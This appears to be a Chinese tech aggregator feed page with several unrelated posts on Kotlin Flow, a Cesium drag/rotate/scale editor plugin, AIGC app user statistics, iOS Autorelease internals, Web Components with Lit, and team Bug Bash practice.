    sharedFlow.collect { value ->
        println("订阅者 2 接收到: $value")
    }
}
sharedFlow.emit("Hello") // 挂起函数
sharedFlow.emit("World") // 挂起函数

emit 方法在 MutableSharedFlow 中是一个挂起函数,它会挂起直到所有订阅者都接收到该值。

7. 错误处理:优雅地应对异常

Flow 提供了 catch 操作符来处理异常:

flow {
    emit(1)
    throw IllegalStateException("Something went wrong")
    emit(2)
}.catch { exception ->
    println("捕获到异常: ${exception.message}")
    emit(-1) // 可以发射一个默认值
}.collect { value ->
    println("接收到的值 (包含 catch 处理后的): $value") // 输出 1, 捕获到异常,输出 -1
}

catch 操作符可以捕获上游 Flow 中发生的异常,并允许你进行处理,例如发射一个默认值或记录日志。

8. 组合操作:合并多个数据流

Flow 提供了 zipcombine 操作符来组合多个 Flow:

  • zip: 将两个 Flow 按照发射顺序一一对应地合并。
    val flow1 = flowOf("A", "B", "C")
    val flow2 = flowOf(1, 2, 3)
    flow1.zip(flow2) { str, num -> "$str$num" }.collect {
        println("zip 合并后的值: $it") // 输出 A1, B2, C3
    }
    
  • combine: 当任意一个 Flow 发射新值时,合并所有 Flow 的最新值。
     val flow3 = flow {
        emit("Fast 1")
        delay(100)
        emit("Fast 2")
    }
    val flow4 = flow {
        delay(50)
        emit("Slow A")
        delay(150)
        emit("Slow B")
    }
    flow3.combine(flow4) { str, str2 -> "$str - $str2" }.collect {
        println("combine 合并后的值: $it")
    }
    

总结

Kotlin Flow 提供了一套强大而全面的工具来处理异步数据流。通过理解 Flow 的创建、转换、限制、终端、状态管理、事件广播、错误处理和组合操作,你可以更有效地管理 Android 应用中的异步数据,编写更简洁、健壮的代码。希望本文能帮助你更好地掌握 Kotlin Flow!

by 火车叼位 at January 20, 2025 02:05 AM

juejin frontend

解锁Cesium可视化编辑新玩法:支持模型和点位拖拽、旋转、缩放,通通一键搞定!

大家好,我是日拱一卒的攻城师不浪,致力于前沿科技探索,摸索小而美工作室。这是2025年输出的第4/100篇文章。

前言

在Cesium中实现对模型的拖拉拽旋转缩放功能可以为许多应用场景增加交互性和用户体验

  1. 地理信息系统:允许用户在三维地图中查看和操作模型,比如放大细节、旋转以获取不同角度的视图,或者拖拽以重新排列模型位置。

  2. 虚拟仿真与培训:在虚拟现实或仿真环境中,用户可以通过拖拽、旋转和缩放模型来学习和训练特定任务,如操作机械设备或学习建筑结构。

  3. 建筑与城市规划:建筑师和规划者可以使用这些功能来查看建筑物或城市布局的不同方面,进行实时调整和评估。

主要是通过这个能力,用户可以更直观地与数据和模型进行互动,提升应用的用户友好性和操作性,支持用户自定义模型形态等。

功能开发

实现这样一个控制器插件涉及的知识点非常多,最终的功能是能实现对模型以及点位同时进行编辑。

所以首先我们要对开发的功能有个整体认知,梳理一下它实现的原理,看看它都需要哪些能力?

  • 交互控制器
    • 移动轴(X/Y/Z)
    • 旋转环
    • 缩放控制点
    • 平面控制器(XY/YZ/XZ平面)

  • 坐标系统转换
    • 世界坐标系(WGS84)
    • 模型本地坐标系
    • 屏幕坐标系
  • 变换矩阵
    • 平移矩阵
    • 旋转矩阵
    • 缩放矩阵

交互控制器

需要创建一个坐标轴(XYZ轴)、旋转轴、缩放轴和平面等交互元素,直观地展示给用户,让用户可以操作的模型控制器。

createPrimitive(isModel = true) {
    // 创建线集合用于存放控制轴
    const plc = new PolylineCollection({
        modelMatrix: this.modelMatrix 
    });
    
    // 创建各种控制器
    this.createOrignPoint();  // 原点
    this.translateEnabled && this.createMoveAxis();  // 移动轴
    this.translateEnabled && this.createAxisPlane(); // 平面
    isModel && this.rotateEnabled && this.createRotateAxis(); // 旋转环
    isModel && this.scaleEnabled && this.createScaleAxis(); // 缩放控制点
}

事件处理

利用 ScreenSpaceEventHandler 监听鼠标事件(如点击拖拽释放等),当鼠标点击激活某个轴线平面,要进行识别并根据拖拽计算模型的变换量。

addEventListener() {
    // 鼠标按下
    handler.setInputAction((e) => {
        const feat = viewer.scene.pick(e.position);
        if(this._primitives.includes(feat.primitive)) {
            // 激活选中的控制器
            this.active(feat.primitive);
            
            // 添加移动事件
            handler.setInputAction((e) => {
                this.transform(startPosition, endPosition);
            }, ScreenSpaceEventType.MOUSE_MOVE);
        }
    }, ScreenSpaceEventType.LEFT_DOWN);
}

变换实现

模型变换(平移、旋转、缩放)通过修改模型的 modelMatrix 来实现。

1. 平移变换:

translate(offset) {
    // 根据选中轴过滤偏移量
    if (axis.indexOf("X") === -1) offset.x = 0;
    if (axis.indexOf("Y") === -1) offset.y = 0; 
    if (axis.indexOf("Z") === -1) offset.z = 0;

    // 创建平移矩阵
    const matrix = Matrix4.fromTranslation(offset);
    
    // 应用变换
    Matrix4.multiply(this._modelMatrix, matrix, this._modelMatrix);
}

2. 旋转变换:

rotate(angle) {
    // 获取旋转轴
    const axis = this.activePrimitive.normal;
    
    // 创建旋转矩阵
    const q = Quaternion.fromAxisAngle(axis, angle, _q);
    const rotateMatrix = Matrix3.fromQuaternion(q, rm3);
    
    // 应用变换(需要先平移到原点)
    Matrix4.multiply(this.modelMatrix, translation, this.modelMatrix);
    Matrix4.multiplyByMatrix3(this.modelMatrix, rotateMatrix, this.modelMatrix);
    Matrix4.multiply(this.modelMatrix, inverseTranslation, this.modelMatrix);
}

3. 缩放变换:

scale(scale) {
    // 创建缩放矩阵
    const scaleMatrix = Matrix4.fromScale(scale, mat4);
    
    // 应用变换
    Matrix4.multiply(this._modelMatrix, scaleMatrix, this._modelMatrix);
}

其它关键技术点

射线拾取

getPositionInPlane(pixel, helper) {
    // 获取射线
    const ray = this._viewer.camera.getPickRay(pixel);
    
    // 创建平面
    const plane = Plane.fromPointNormal(helper.center, helper.activePrimitive.normal, plane);
    
    // 计算交点
    IntersectionTests.rayPlane(ray, plane, mousedownCartesian);
}

坐标转换

// 世界坐标转本地坐标
Matrix4.multiplyByPoint(this._inverseModelMatrix, position, localPosition);

// 本地坐标转世界坐标
Matrix4.multiplyByPoint(this._modelMatrix, position, worldPosition);

辅助线绘制

createAux(offset) {
    // 根据偏移量创建辅助线
    const p1 = Cartesian3.clone(this.xAxis.positions[0]);
    const p2 = Cartesian3.clone(this.xAxis.positions[0]);
    p2.x += -offset.x;
    this.xAux.positions = [p1, p2];
}

性能优化

涉及到一些实时操作以及事件监听,无疑会消耗很多性能,所以,我们需要做一些代码上的性能优化。

缓存常用对象

// 预创建常用的向量和矩阵对象
const cartesian2_1 = new Cartesian2();
const mat4 = new Matrix4();
const _q = new Quaternion();

事件节流

在鼠标移动事件中应用节流,避免过于频繁的计算。

按需创建

// 根据需要创建控制器
this.translateEnabled && this.createMoveAxis();
this.rotateEnabled && this.createRotateAxis();

如何使用

封装的这个插件支持同时对模型以及点位进行拖拉拽等编辑操作;

编辑模型

// 加载模型
const model = new CesiumModel({
    url: "/models/Cesium_Air.glb",
    position: new LonLat(120.36, 36.09),
  })

__viewer.depthTest = true;
model.delegate.then(delegate => {
  __viewer.scene.primitives.add(delegate);
  __viewer.camera.flyTo({
    destination: new Cesium.Cartesian3.fromDegrees(120.36, 36.09, 50),
    orientation: {
      heading: Cesium.Math.toRadians(0),
      pitch: Cesium.Math.toRadians(-90),
      roll: 0.0
    }
  });
  // 初始化编辑器
  const helper = new TransformHelper({
    rotateEnabled: true,
    translateEnabled: true,
    scaleEnabled: true,
    xAxisLength: 10,
    yAxisLength: 10,
    zAxisLength: 10,
    scaleAxisLength: 10,
    rotatePlaneRadius: 8
  });
  // 将辅助编辑器加载进场景
  helper.addTo(__viewer);
  // 绑定模型
  helper.bind(delegate);
})

编辑点位

也支持对点位的拖拉拽等操作。

const point = entities.add({
    id: `point_1`,
    position: Cesium.Cartesian3.fromDegrees(120.36059043724143, 36.090180875828736, 20),
    billboard: {
      image: "/images/mark-icon.png",
      heightReference: Cesium.HeightReference.CLAMP_TO_3D_TILE,
      eyeOffset: new Cesium.Cartesian3(0.0, 0.0, 0.0),
      verticalOrigin: Cesium.VerticalOrigin.BOTTOM,
      horizontalOrigin: Cesium.HorizontalOrigin.CENTER,
      pixelOffset: new Cesium.Cartesian2(0, 0),
    },
  });

__viewer.zoomTo(point)
const helper1 = new TransformHelper({
  rotateEnabled: true,
  translateEnabled: true,
  scaleEnabled: true,
  xAxisLength: 10,
  yAxisLength: 10,
  zAxisLength: 10,
  scaleAxisLength: 10,
  rotatePlaneRadius: 8
})
helper1.addTo(__viewer);
helper1.bindPosition(point.position);
// 如果绑定的是一个点位,需要手动更新
helper1.postTransformEvent.addEventListener(modelMatrix => {
  const position = new Cesium.Cartesian3();
  Cesium.Matrix4.getTranslation(modelMatrix, position);
  point.position = position
})

可视化编辑器详细代码在不浪的教程《Cesium从入门到实战》中,教程将Cesium的知识点进行串联,让不了解Cesium的小伙伴拥有一个完整的学习路线,并最终完成一个智慧城市的完整项目,课程也在不断更新迭代中,想了解+作者:brown_7778(备注来意)。

有需要进可视化&Webgis交流群可以加我:brown_7778(备注来意)。

by 攻城师不浪 at January 20, 2025 02:03 AM

oschina news industry

中国 AIGC APP 月活破亿 豆包一家独占一半

中国AIGC APP的用户正向头部集聚。

根据研究机构QuestMobile,截至2024年11月底,中国AIGC APP整体月活用户数量超过1亿。字节跳动旗下的豆包走出陡峭的向上曲线,月之暗面的Kimi智能助手月活千万以上,百度的文小言增长放缓而屈居第三。

用户数量分化,没有大厂背景的初创企业面临比美国同行们更严苛的商业化压力。“大家都很着急,恨不得马上就要形成产业。这事儿倒逼着我们要快速证明自己是能挣钱的。”秘塔首席运营官王益为对第一财经记者说。

豆包独大

截至2024年11月底,中国AIGC APP的整体月活跃用户规模已经破亿。对比2024年6月份,月活用户规模实现翻倍。

“虽然12月份的数据还没有出来,但我们相信12月还会出现这样的持续增长。”QuestMobile产业研究院研究总监陈燕对第一财经记者表示。

三家企业的产品月活跃用户数量超过了千万,分别是字节跳动旗下的豆包、百度旗下的文小言,以及月之暗面开发的Kimi智能助手。

Kimi智能助手是新晋的千万月活选手,它在6月底的月活还只有459万。从10月份开始,它的月活用户数量已经超过了文小言,11月达到2200万左右。

Kimi智能助手之所以能够月活过千万,原因之一是其长文本的处理能力突出,还有就是它融资规模居前,能够在研发和投流方面大撒金币。从公开的信息看,Kimi智能助手背后的月之暗面融资已经超过10亿美金。

比Kimi智能助手增长更迅猛的是豆包,后者在2024年的上半年走出一条陡峭的上升曲线,11月月活5600万左右,比6月底的2751万月活规模翻倍。

截至2024年11月,百度文小言的月活跃用户基本维持了千万左右,上涨的动能有所不足。

“一个APP的发展,一定会遇到爆发期和平稳期。不可否认的是,文小言在百度主APP内各种场景的布局调整也好,智能体扩充也好,以及搭载场景也好有一定优势。”陈燕认为,现在就说文小言失去爆发的潜力为时过早,“现在属于大家都在拼劲的一个阶段,我觉得可以把时间再放长一点来观察。”

豆包的母公司字节跳动以及文小言的母公司百度,都有丰富的产品矩阵,这能为自身AI搜索发展带来巨大优势。比如抖音的月活超过7亿,百度APP月活超6亿。这些用户更容易被豆包、文小言所吸纳,而非其他AI应用。

“不可否认,我觉得百度和字节生态给到的流量支持是有一定影响。”陈燕表示,这两家企业也都重视基础模型的开发和应用的推广,“这两个主APP对豆包、文小言新客的引流,都起到很好的助推作用。”

就如同此前百度推出过各类硬件产品,字节跳动在2024年10月份推出一款Ola Friend的智能耳机。如果用户想去调用AI功能,就需要下载豆包APP。这也是对豆包的一种引流方式。“通过硬件撬动AI软件的流量,也是一种很好的做法。”陈燕说,对比硬件上市前后流量,耳机的出货量对豆包月活起到了比较好的拉动作用。 这些已经成功的互联网企业,所拥有的巨大流量就是初创企业难以突破的壁垒。

2024年上半年,秘塔AI还能在抖音上投放广告,以吸引新用户使用。“下半年就不行了,投流就投不出去了。”王益为对第一财经表示。据他观察,不光是秘塔AI

已经无法投放流量广告,其他AI搜索引擎也已经“都投不出去了,抖音所有的流量都导给了豆包。” 整体看,豆包拿走了行业一半的月活跃用户数量,一家独大的趋势明显。即便同处于第一梯队的Kimi智能助手、文小言,与豆包的月活数据的差距也在变大。

变现的压力

这些头部的AI应用都还算不上杀手级。

从2024年上半年开始,随着AI各种应用的爆发,产业一直在等待一个超级APP的出现。对比移动互联网时代已经成功的超级应用如抖音、微信和支付宝等,在人工智能时代的APP还是有一定的距离。

“这一年下来,我们确实也没有等到那个杀手级的APP。”陈燕对记者说。

大模型的技术在不断突破,用户习惯的养成,以及用户黏性的提升,这些都是并行的节奏。陈燕相信过去十年互联网所发生的事情,AI时代一定会再来一遍。但是需要更多一些时间。

传统大厂也在积极转变,移动互联网应用都在AI转型路上,尤其是流量前20的应用。虽然AI是新战场,但这里也有许多老玩家。

相对于互联网大厂做AI应用,中国的人工智能初创企业面临比美国同行们更严苛的压力。OpenAI可以烧钱很多年之后才开始摸索商业化道路,但国内的企业没有这样的投融资环境。

“大家都很着急,恨不得马上就要形成产业。这事儿倒逼着我们要快速证明自己是能挣钱的。”王益为说。

秘塔AI现在开始把AI搜索能力和企业内部知识库打通,尝试在教育、法律等知识密集型的行业探索商业化机会。秘塔和得到联合开发的笔记类APP Get笔记,就是商业化的尝试。

AI创业烧钱是众所周知的事情,初创企业需要不断地融资。钱多钱少,就成为决定创业成败的关键。“钱多是一个绝对优势,绝对增加赢面。”

“我们还没有证明过自己能拿大钱的能力。”王益为认为,尽管秘塔追求的是花钱效率比豆包和Kimi智能助手两者更高,“但是人家的钱比我们多几十倍上百倍。” 腰部的AIGC APP承受着压力。

部分AIGC APP,月活跃用户数量已经掉下来了。据QuestMobile数据,昆仑万维开发的天工APP,6月底有560万的月活,11月底则仅剩下400万左右月活,降幅明显。尾部的AIGC APP已经出现倒退的趋势,有的甚至已经被淘汰了。

“现在是一个存量互联网时代。对于新的原生应用,前期需要投入的运营成本非常可观。从移动端APP过去十年的发展经验来看,流量慢慢向头部集中是一个趋势。”陈燕说,“但也不排除有黑马的产生。”

(本文来自第一财经)

by 来源: OSCHINA at January 20, 2025 02:01 AM

juejin ios

Autorelease 机制是 iOS 糟糕的设计?

Autorelease 是 iOS 中苹果提供给开发者用来管理对象内存的工具。其核心价值在于:

  • 利用 Runloop,优化对象释放时性能;
  • 对于方法返回对象,延缓对象释放时机;
  • 对于短时间内大量临时对象,及时释放,减少内存峰值;

那么 Autorelease 带来了哪些问题?

性能和包体

添加进 AutoreleasePool 中的对象可以在 Runloop 空闲时进行释放,一定程度上可以优化程序的性能,但是 Autorelease 机制本身就需要消耗额外的性能。

每个 AutoreleasePoolPage 需要 56byte 来存储 Page 的成员变量:

image.png

(图片引用自:draveness.me/autorelease…

对于对象使用非 new/alloc/copy/mutableCopy 开头的方法创建时,编译器需要额外在 caller 中添加汇编指令:

mov   x29, x29   
bl    _objc_retainAutoreleasedReturnValue

在 callee 中添加汇编指令:

b    _objc_autoreleaseReturnValue

用于判断是否需要将该对象添加进 AutoreleasePool 中,这些处理最终会导致二进制体积增大以及性能降低。

苹果也意识到了上述问题,在 WWDC2022 Improve app size and runtime performance 中介绍了优化方案:

通过比较指针替代 mov 指令打标,从而可以减少 4byte 大小。 image.png

稳定性

当对使用 new/alloc/copy/mutableCopy 开头的方法进行 hook 时,如果不调用原方法,这时就需要对新方法名进行 new/alloc/copy/mutableCopy 约束,否则就会产生野指针问题:

// 原方法
+ (NSObject *)newObject
{
    NSObject *obj = [[NSObject alloc] init];
    return obj;
}

// 汇编
// 不含 objc_autoreleaseReturnValue 函数调用
+[TestObject newObject]:
->  0x1043a846c <+0>: adrp   x8, 9
    0x1043a8470 <+4>: ldr    x0, [x8, #0x2e8]
    0x1043a8474 <+8>: b      0x1043a99e4               ; symbol stub for: objc_alloc_init


// hook 后的方法
+ (NSObject *)test_newObject
{
    NSObject *obj = [[NSObject alloc] init];
    return obj;
}

// 汇编
// 含 objc_autoreleaseReturnValue 函数调用
+[ViewController test_newObject]:
    0x104a74288 <+0>:  stp    x29, x30, [sp, #-0x10]!
    0x104a7428c <+4>:  mov    x29, sp
->  0x104a74290 <+8>:  adrp   x8, 9
    0x104a74294 <+12>: ldr    x0, [x8, #0x2c0]
    0x104a74298 <+16>: bl     0x104a759fc               ; symbol stub for: objc_alloc_init
    0x104a7429c <+20>: ldp    x29, x30, [sp], #0x10
    0x104a742a0 <+24>: b      0x104a75a20               ; symbol stub for: objc_autoreleaseReturnValue

image.png

产生野指针的原因是 hook 后的 test_newObject 返回的对象被添加进了 AutoreleasePool 中,导致释放两次。

这里带来的另一个问题就是崩溃问题的归因,我们经常能够在线上监控到 AutoreleasePool 相关的野指针问题,类似上图堆栈基本看不到的业务堆栈信息,这就给问题的排查增加了极大的难度,很多历史 Top 崩溃问题都是因为 AutoreleasePool 释放对象时堆栈信息不足导致。

虽然通过 zombie 监控可以获取到对象的类型以及首次 dealloc 时的堆栈,一定程度可以缓解完全没有有效堆栈信息的问题,但如果首次 dealloc 也发生在 AutoreleasePool 中,那么问题就会非常棘手。

因 Autorelease 导致的疑难问题还可以阅读: 一段防护代码引发的内存风暴

禁用 Autorelease

我们知道使用 new/alloc/copy/mutableCopy 开头的方法,编译器不会自动插入 Autolrease 相关代码。背后的逻辑是因为编译器提供了 __attribute__((ns_returns_retained)),new/alloc/copy/mutableCopy 会默认使用 ns_returns_retained 属性。

不使用 __attribute__((ns_returns_retained): image.png

image.png

使用 __attribute__((ns_returns_retained): image.png

image.png

对比可以发现,caller 和 callee 中 mov x29, x29bl _objc_retainAutoreleasedReturnValueb _objc_autoreleaseReturnValue 的汇编都移除了。

批量添加 __attribute__((ns_returns_retained) 也可以当做优化性能和包体的一种手段。

by Darcy at January 20, 2025 01:58 AM

juejin frontend

初识 Web Components

Web Components 是浏览器原生支持的 Web 标准,允许开发者创建可重用、封装的自定义 HTML 元素。这些元素具有跨框架兼容性,可以无缝集成到原生 HTML、React、Vue 和 Angular 等各种 Web 开发环境中

三个关键技术

Custom Elements

Custom Elements 允许开发者定义自定义的 HTML 标签,并为其附加特定的行为。这些自定义标签可以像原生 HTML 元素一样使用,并接受属性和事件

  • 定义元素:通过 JavaScript 的类继承 HTMLElement,并在其中定义元素的特定行为
  • 注册元素:使用 customElements.define() 方法注册自定义标签,并绑定相应的类
class MyElement extends HTMLElement {
  constructor() {
    super();
    // 元素初始化相关代码
  }

  connectedCallback() {
    // 当元素被添加到文档流中时的行为
    this.innerHTML = `<p>Hello, Web Components!</p>`;
  }
}

customElements.define('my-element', MyElement);

Shadow DOM

Shadow DOM 提供了一种将组件的样式和结构进行封装和隔离的方法。通过使用影子 DOM,组件可以避免样式污染或被外部影响

  • 封装:Shadow DOM 为组件创建了一个私有的子 DOM 树,外部页面的 CSS 不会影响到其样式
  • 隔离:Shadow DOM 中的样式和模板可以被完全封装,直至需要公开的属性
class MyElement extends HTMLElement {
  constructor() {
    super();
    // 创建影子 DOM 根节点
    const shadow = this.attachShadow({ mode: 'open' });
    shadow.innerHTML = `<style>p { color: red; }</style><p>Hello, Shadow DOM!</p>`;
  }
}

customElements.define('my-element', MyElement);

当 mode 被设置为open时,创建的 Shadow DOM 可以通过 JavaScript 直接访问和操作

// 创建一个 ShadowDOM
const shadow = this.attachShadow({ mode: 'open' });

console.log(this.shadowRoot); // 访问影子 DOM

在某些场景中,开发者可能需要更高程度的封装和安全性,不希望外部代码访问和操作影子 DOM。在这种情况下可以选择关闭模式

const shadow = this.attachShadow({ mode: 'closed' });
console.log(this.shadowRoot); // 这将输出 null

HTML Templates

HTML Templates 不会在页面加载时直接显示,在需要时通过 JavaScript 克隆和使用这些模板内容

  • 模板定义:在 <template> 元素中定义模板,不显示在文档但可以进行克隆
  • 内容克隆:通过 template.content.cloneNode(true) 方法克隆模板内容并插入到 DOM 中
<template id="my-template">
  <style>p { color: blue; }</style>
  <p>This is a template paragraph!</p>
</template>

<script>
  const template = document.getElementById('my-template');
  const content = template.content.cloneNode(true);
  document.body.appendChild(content);
</script>

简单计数器组件示例

class SimpleCounter extends HTMLElement {
  constructor() {
    super();
    this.count = 0;
    
    // 创建一个影子 DOM 根节点
    const shadow = this.attachShadow({ mode: 'open' });

    // 定义一个模板
    const template = document.createElement('template');
    template.innerHTML = `
      <style>
        div {
          font-size: 24px;
          display: flex;
          align-items: center;
        }
        button {
          margin: 0 5px;
          padding: 5px 10px;
          font-size: 18px;
        }
      </style>
      <div>
        <button id="decrement">-</button>
        <span id="count">0</span>
        <button id="increment">+</button>
      </div>
    `;
    
    // 克隆模板内容
    const templateContent = template.content.cloneNode(true);
    
    // 将克隆的内容添加到影子 DOM
    shadow.appendChild(templateContent);

    // 绑定按钮点击事件
    shadow.getElementById('increment').addEventListener('click', () => {
      this.count++;
      this.update();
    });

    shadow.getElementById('decrement').addEventListener('click', () => {
      if (this.count > 0) this.count--;
      this.update();
    });
  }

  // 更新显示的计数值
  update() {
    this.shadowRoot.getElementById('count').textContent = this.count;
  }
}

// 注册自定义元素
customElements.define('simple-counter', SimpleCounter);

为了封装良好,template 定义在了组件内部,其实这时候直接用 innerHTML 就可以了,上面的写法纯粹是为了展示 HTML Template 用法

这样在 HTML 中引入 js 文件后就可以直接使用注册的元素了

<simple-counter></simple-counter>

使用 slot 支持外部内容插入

通过 Slot 可以让 Web Components 组件接受的外部内容的占位符,将外部内容插入到你定义的组件的特定位置,而不必改变组件的内部结构

稍微修改上面 demo 的 template

const template = document.createElement('template');
template.innerHTML = `
  <style>
    div {
      font-size: 24px;
      display: flex;
      align-items: center;
    }
    button {
      margin: 0 5px;
      padding: 5px 10px;
      font-size: 18px;
    }
    .container {
      border: 1px solid #ccc;
      padding: 10px;
    }
  </style>
  <div class="container">
    <slot name="title"><!-- 默认内容,可以为空 --></slot>
    <div>
      <button id="decrement">-</button>
      <span id="count">0</span>
      <button id="increment">+</button>
    </div>
  </div>
`;
<simple-counter>
  <span slot="title">My Custom Counter</span>
</simple-counter>

属性支持

Web Components 支持在自定义元素上定义和使用属性,以便通过 HTML 属性或 JavaScript 动态设置和获取组件的状态

  • 如果需要监听属性的变化,可以通过定义 static get observedAttributes() 方法来声明哪些属性是需要被观察的
  • 当被观察的属性发生变化时,attributeChangedCallback 方法被调用,这时可以执行相应逻辑
class CustomElement extends HTMLElement {
  static get observedAttributes() {
    return ['label'];
  }

  constructor() {
    super();
    this.attachShadow({ mode: 'open' });

    // 初始结构
    this.shadowRoot.innerHTML = `
      <style>
        div {
          font-size: 18px;
          color: #333;
        }
      </style>
      <div id="labelContainer"></div>
    `;
  }

  // 当属性变化时被调用
  attributeChangedCallback(name, oldValue, newValue) {
    if (name === 'label') {
      this.updateLabel(newValue);
    }
  }

  // 更新标签内容
  updateLabel(text) {
    this.shadowRoot.getElementById('labelContainer').textContent = text;
  }

  // 可以提供 getter 和 setter 让属性的操作更方便
  get label() {
    return this.getAttribute('label');
  }

  set label(value) {
    this.setAttribute('label', value);
  }
}

// 注册自定义元素
customElements.define('custom-element', CustomElement);
<custom-element id="myElement" label="Initial Label"></custom-element>

<button id="changeLabelButton">Change Label</button>

<script>
  // 获取按钮和自定义元素的引用
  const button = document.getElementById('changeLabelButton');
  const customElem = document.getElementById('myElement');

  // 为按钮添加点击事件监听器
  button.addEventListener('click', () => {
    // 通过设置属性更新组件内容
    customElem.setAttribute('label', 'Updated Label');

    // 或者使用 setter 方法更新
    // customElem.label = 'Updated Label';
  });
</script>

自定义事件

在 Web Components 中,自定义事件允许组件与外部世界进行交互,通过使用 JavaScript 的 CustomEvent 接口,可以在自定义元素中创建和派发事件,让其它部分的代码可以监听这些事件并做出响应

class SimpleCounter extends HTMLElement {
  constructor() {
    super();
    this.count = 0;

    this.attachShadow({ mode: 'open' });

    this.shadowRoot.innerHTML = `
      <style>
        div {
          font-size: 24px;
          display: flex;
          align-items: center;
        }
        button {
          margin: 0 5px;
          padding: 5px 10px;
          font-size: 18px;
        }
      </style>
      <div>
        <button id="decrement">-</button>
        <span id="count">0</span>
        <button id="increment">+</button>
      </div>
    `;

    this.shadowRoot.getElementById('increment').addEventListener('click', () => {
      this.count++;
      this.update();
      this.dispatchCountChangedEvent();
    });

    this.shadowRoot.getElementById('decrement').addEventListener('click', () => {
      if (this.count > 0) {
        this.count--;
        this.update();
        this.dispatchCountChangedEvent();
      }
    });
  }

  update() {
    this.shadowRoot.getElementById('count').textContent = this.count;
  }

  dispatchCountChangedEvent() {
    const event = new CustomEvent('countChanged', {
      detail: { count: this.count },  // 传递当前计数值
      bubbles: true,                  // 允许事件冒泡
      composed: true                  // 允许事件通过影子 DOM 树边界传播
    });
    this.dispatchEvent(event);
  }
}

customElements.define('simple-counter', SimpleCounter);
<simple-counter id="myCounter"></simple-counter>

<script>
  // 获取自定义元素引用
  const counter = document.getElementById('myCounter');

  // 监听自定义事件
  counter.addEventListener('countChanged', (event) => {
    console.log('Count changed to:', event.detail.count);
  });
</script>

生命周期

Web Components 提供了一套生命周期回调方法,让开发者能够在组件的不同生命周期阶段执行特定的代码

  1. connectedCallback:当元素被插入到 DOM 中时调用,适合执行设置默认的属性、启动数据获取、设置事件监听器等操作
  2. disconnectedCallback:当元素从 DOM 中移除时调用,适合执行清理工作,例如移除事件监听器、停止定时器等
  3. attributeChangedCallback:当元素的属性增加、被移除或更改时调用,要使用此回调必须定义 static get observedAttributes() 方法
  4. adoptedCallback:当元素从一个文档被移动到另一个文档时调用,这个情况在一般的 Web 应用中较少发生,常见于与多个文档交互的复杂应用如 Shadow DOM 的迁移
class LifeCycleElement extends HTMLElement {
  static get observedAttributes() {
    return ['data-value'];
  }

  constructor() {
    super();
    console.log('Constructor: 元素实例化');
    this.attachShadow({ mode: 'open' });
    this.shadowRoot.innerHTML = `
      <div>Initial Value</div>
    `;
  }

  connectedCallback() {
    console.log('connectedCallback: 元素插入到 DOM 中');
    this.shadowRoot.querySelector('div').textContent = 'Connected to the DOM';
    this.start();
  }

  disconnectedCallback() {
    console.log('disconnectedCallback: 元素从 DOM 中被移除');
    this.stop();
  }

  attributeChangedCallback(name, oldValue, newValue) {
    console.log(`attributeChangedCallback: 属性 ${name} 发生变化,从 ${oldValue} 变为 ${newValue}`);
    if (name === 'data-value') {
      this.shadowRoot.querySelector('div').textContent = `Attribute data-value: ${newValue}`;
    }
  }

  adoptedCallback() {
    console.log('adoptedCallback: 元素被移动到新的文档');
  }

  start() {
    // 例如:启动一个定时器
    this.interval = setInterval(() => console.log('Active...'), 1000);
  }

  stop() {
    // 清理工作:停止定时器
    clearInterval(this.interval);
  }
}

// 注册自定义元素
customElements.define('lifecycle-element', LifeCycleElement);

Web Components 组件库

Lit 是一个用于构建快速、轻量级 Web Components 的 JavaScript 库,它由 Google 的开发团队创建,旨在简化和加速开发符合 Web Components 标准的组件。Lit 本身并不是一个完整的框架,而是一个工具集,帮助开发者轻松构建、自定义和组合 Web Components

Lit is a simple library for building fast, lightweight web components.

At Lit's core is a boilerplate-killing component base class that provides reactive state, scoped styles, and a declarative template system that's tiny, fast and expressive.

import { LitElement, html, css } from 'lit';
import { customElement, property } from 'lit/decorators.js';

// 定义和注册一个新的自定义元素
@customElement('my-element')
export class MyElement extends LitElement {
  // 定义 CSS 样式
  static styles = css`
    p {
      color: blue;
    }
  `;

  // 使用装饰器定义属性,并指定类型
  @property({ type: String })
  message: string = 'Hello, World!';

  // 渲染模板
  render() {
    return html`
      <p>${this.message}</p>
    `;
  }
}

为什么 Web Components 没有流行

可以看出 Web Components 的浏览器兼容性其实还算可以,在研发框架方面,目前基本上所有主流框架 Vue、React、Angular、Svelte、Solid 等均都支持 Web Components,Web Component DevTools 也可以很好的对 Web Components 组件进行调试

Web Components 是标准 Web 规范浏览器原生支持,在性能上也有一定的优势,还支持原生的样式隔离,在一些领域有明显优势

  1. 跨框架组件库:创建可在多种框架中使用的通用UI组件
  2. 微前端架构:构建可独立部署、技术栈无关的应用模块
  3. 嵌入式组件:开发可嵌入第三方网站的小部件或组件
  4. 企业级设计系统:构建统一的、可在不同项目间共享的组件库
  5. 长期维护的项目:利用标准化技术降低对特定框架的依赖

看起来好处很多,但遗憾的是在业界 Vue、React 等组件方案是主流,Web Components 方案并没有大行其道,主要有几个原因

  • 功能局限:Web Components 的 API 比起框架需要的工具链和理念相对简单,但缺乏内置的状态管理、路由等高级特性,在大型应用中处理状态和复杂逻辑时会变得更繁琐。React 和 Vue 提供了强大的状态管理和生态工具,使得复杂应用的开发变得更为简单高效
  • 生态系统较小:Web Components 标准的发展和完善相对缓慢,相比 Vue 和 React,缺乏丰富的工具、库和社区支持。而 React 和 Vue 背后有庞大的社区和丰富的第三方库,提供了大量的即插即用解决方案,而 Web Components 则较少受到这种级别的社区支持

by 谦行 at January 20, 2025 01:49 AM

juejin article

大数据平台Bug Bash大扫除最佳实践

作者:尹伟

一、背景

随着越来越多的"新人"在日常工作以及大促备战中担当大任,我们发现仅了解自身系统业务已不能满足日常系统开发运维需求。为此,大数据平台部门组织了一次Bug Bash活动,既能提升自己对兄弟产品的理解和使用,又能促使自家产品功能日趋完善。今天来给大家分享一些实际操作过程和经验总结~

二、什么是Bug Bash?

Bug Bash,顾名思义就是缺陷大扫除。通常由QA主导发起,团队全员放下手中的活,找个会议室一起集中精力来找缺陷。





图 1

三、Bug Bash好处

1、常规测试的有效补充,更多用户测试发现更多问题或需求。

有可能发现业务流程上存在不同类型、不同层次的疏漏,整体设计上隐蔽的缺陷,甚至产品规划上暗藏的新需求。不同的人员更容易发现兼容性、权限差异等问题。测试人员也可以根据发现的问题完善自己的测试策略,

2、提高团队凝聚力,促进团队彼此沟通。

在增加了一些比赛的元素缺陷大扫除中,比如时不时的播报谁发现的bug多,配上轻松愉悦的音乐,让大家你追我赶的找出bug。这样来推动人员之间的良性竞争,从而鼓舞团队人员的士气,增加团队的凝聚力。

3、深入产品学习,带来更多附加价值。

